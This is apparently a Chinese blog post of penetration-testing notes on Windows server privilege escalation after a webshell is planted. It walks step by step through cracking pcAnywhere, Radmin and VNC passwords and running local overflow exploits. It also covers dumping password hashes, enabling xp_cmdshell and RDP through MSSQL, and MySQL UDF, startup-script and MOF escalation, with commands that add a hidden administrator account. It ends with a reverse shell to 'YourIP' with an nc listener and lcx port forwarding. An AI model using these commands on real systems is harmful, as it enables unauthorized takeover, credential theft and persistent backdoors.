满天星
Fork me on GitHub

渗透测试学习笔记26-权限下

远程管理软件提权

pcanywhere
访问pcanywhere默认安装目录
下载用户配置文件
通过破解账户密码文件

大马->pcanywhere->host/remotes->PCA admin CIF(远程登录用户的配置文件)->下载,并破解
权限提升->第三方工具提权->pcanywhere提权->进行破解

攻击端也要安装一个pcanywhere,添加下一步->连接的ip指定一下,勾选连接被控端

radmin提权
通过端口扫描 扫描4899端口
上传radmin.asp木马读取radmin的加密密文
使用工具连接
Radmin设置
安装服务,设置口令->启动
regedit->RAdmin
大马->RAdmin
第三方提权工具->Radmin->输入ip->输入大马得出的hash值
大小写转为小写


vnc提权
通过读取注册表十进制数
将得出的十进制数去掉第一个数,其他的转换成十六进制数
破解十六进制数得到密码
vncx4.exe -W 回车
输入转换后的十六进制数
连接vnc

RealVNC启动
大马->读取注册表->VNC4密码
未有权限读的话,需要将权限提升
第三方软件提权->VNC4.exe
vncx4.exe->vncx4.exe -W
输入(大马读取的数并转成16进制)
->即:一个一个输入,要一个一个回车->输入完后自动出密码


溢出提权
主要是通过windows漏洞利用来获取系统权限
常见的溢出提权
巴西烤肉
pr
步骤:
1.通过信息收集查看服务器打了哪些补丁
2.根据未打补丁漏洞进行利用即可

systeminfo->查看补丁->K8补丁对比
工具->溢出提权,里面基本都是exe
先上传
大马->上传文件->找一个可读可写的目录
pr.exe->cmd执行一下漏洞路径
url "whoami"
不用pr,就是一个网络服务权限,用pr是system权限


破解hash提权
上传pwdump.exe运行获取hash值
拿到Ic5,彩虹表中破解
即可得到管理员密码
需要管理员权限方可执行读取hash操作

权限提升->getpass->getpass可以直接读取明文密码
权限提升->getpass->pwd->PwDump7.exe和libeay32.dll移到服务端

pwdump7.exe,没有权限是没有任何效果的 (可以用刚刚的pr来执行)
pr.exe "pwdump7.exe"
破解第一行的最后一段16进制数就是密码

getpass->GetPass_cmd.exe/新建文件夹\pass.exe->读取明文


启动项提权
前提写入的目录需要写入权限
将批处理文件上传到开机启动项目录等待管理员重启即可


数据库提权
sqlserver数据库提权
MySQL数据库提权
需要具备数据库管理员权限才可执行提权操作

mssql提权
安装组件
开启3389
创建用户
提升权限
完成
sa账号的获取,去查看config.asp,conn.asp等文件
web.config

mssql安装执行命令组件
安装cmd_shell组件
EXEC sp_configure 'show advanced options',1  
GO
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell',1
GO
RECONFIGURE
GO

数据管理->K8MSSQL/sqltoos/MSSQL查询分析器
执行命令 net user/whoami

删除cmd_shell组件
EXEC sp_configure 'show advanced options',1
GO
RCONFIGURE
GO
EXEC sp_configure 'xp_cmdshell',0
GO
RECONFIGURE
GO


3389操作语句
开启3389
exec
master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
关闭3389
exec
master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;

开启3389,之后就可以mstsc了

如果不能外连的话,只能是上传木马
大马->SQL-SA->user/pw->执行命令就行了


Mysql数据库提权
udf提权
启动项提权
mof提权
反连端口提权


udf提权
获取到对方的mysql数据库下的root账号密码
1.查看网站源码里面数据库配置文件
(inc,conn,config,sql,common,data等)
2.查看数据库安装路径下的user.myd(/data/mysql/)
3.暴力破解mysql密码破解3306端口入侵
udf提权原理:
通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd

C:\Winnt\udf.dll 2000
C:\Windows\udf.dll 2003
现在基本上win的服务器就这两个导出UDF.DLL
5.1以上版本需要导出mysql安装目录lib\plugin\
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user cracer cracer /add');
select cmdshell('net localgroup administrators cracer /add');
drop function cmdshell;删除函数

权限提升->数据库提权->Mysql/mysql提权
访问这个php root/root
create plugin
dump udf
create function

另外一款免杀的php,可以执行select sys_eval('whoami')


启动项提权
1.查看我们进入数据库中有些什么数据表
mysql>show tables;
默认的情况下,test中没有任何表的存在.
以下为关键的部分
2.在TEST数据库下创建一个新的表;
mysql>create table a (cmd text);
好了,我们创建一个新的表,名为a,表中只存放一个字段,字段名为cmd,为text文本
3.在表中插入内容
mysql>insert into a values("set wshshell=createobject(""wscript.shell"")");
mysql>insert into a values("a=wsshell.run(""cmd.exe /c net user 1 1 /add"",0)");
mysql>insert into a values("a=wsshell.run(""cmd.exe /c net localgroup Administrators 1 /add"",0)");
注意双引号和括号以及后面的"0"一定要输入!我们将用这三条命令来建立一个VBS的脚本程序.
4.表a中应该有3条数据
mysql>select * from a
我们将会看到表中有三行数据,确认输入无误后,下一步
5.输出表为一个VBS的脚本文件
mysql>select * from a into outfile "c://docume~1//administrator//[开始]菜单//程序//启动//a.vbs";
6.重启即可!


mof提权
第一种方法:
上传mof.php
输入相关信息,执行命令,提权
第二种方法:
上传文件x.mof
使用select命令导出入到正确位置
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullect.mof'
允许外部地址使用root用户连接的sql语句
Grant all privileges on *.* to 'root'@'%' identified b 'root' with grant option;
访问mof.php  先Exploit 才能执行命令

php->大马->nosafe/test/testa
访问登录后就可以执行sql语句了,要有权限才能执行更多


反链端口提权
利用mysql客户端工具连接mysql服务器
,然后执行下面的操作
执行命令
mysql.exe -h 172.16.10.11 -uroot -p
Enter password:
mysql>\.c:\mysql.txt
mysql>select backshell("YourIP",2010);
2.本地监听你反弹的端口
nc.exe -vv -l -p 2010
成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权

服务器端反连接黑客端,然后开另一个端口来进行监听,就可以对服务器端进行操作了

udf->创建反弹函数->执行反弹
select backshell('本机ip',端口12345)
权限提升->端口转发->nc.rar
nc.exe
nc -l -p 12345

如果有防火墙的时候可以使用反弹
防火墙会拦截外网,一般不会拦截内网


内网端口转发
内网主机输入命令:
lcx.exe -slave 外网ip 外网端口 内网ip 内网端口
lcx.exe -slave 192.168.0.104 1111 127.0.0.1 3389
外网主机输入命令
lcx.exe -listen 1111 1311

外网要路由器的端口映射到内网的某台电脑上
DMZ主机一般比较安全
虚拟服务器,xx端口,会给x.x.x.x的ip映射

一定要连接内网某一端口的话,需要端口转发
大马->执行cmd->那个有 -tran的那个执行上方命令
权限提升->端口转发->lcx
cmd->lcx.exe -listen 1111 1311
mstsc
127.0.0.1:1311


开启3389
使用
批处理文件开3389
使用sql语句开3389
使用exe开3389
使用vb开3389


一些命令利用
type E:\wwwroot\Web.config 查看文件内容
cacls命令
/T:更改当前目录及其所有子目录中指定文件的ACL
/E:编辑ACL而不替换
/C:在出现拒绝访问错误时继续
/G Userer:perm:赋予指定用户访问权限,Perm代表不同级别的访问权限,其值可以是R(读取),w(写入),c(更改,写入),F(完全控制)等.
/R user:撤销指定用户的访问权限,注意该参数仅在与"/E"一起使用时有效
cacls C:\wwwroot\1.htm /t /e /c
 /g interactive:f
 要修改一个文件的权限的必要条件
 要有USERS组的完全控制权限
 CMD权限
-------------本文结束期待您的评论-------------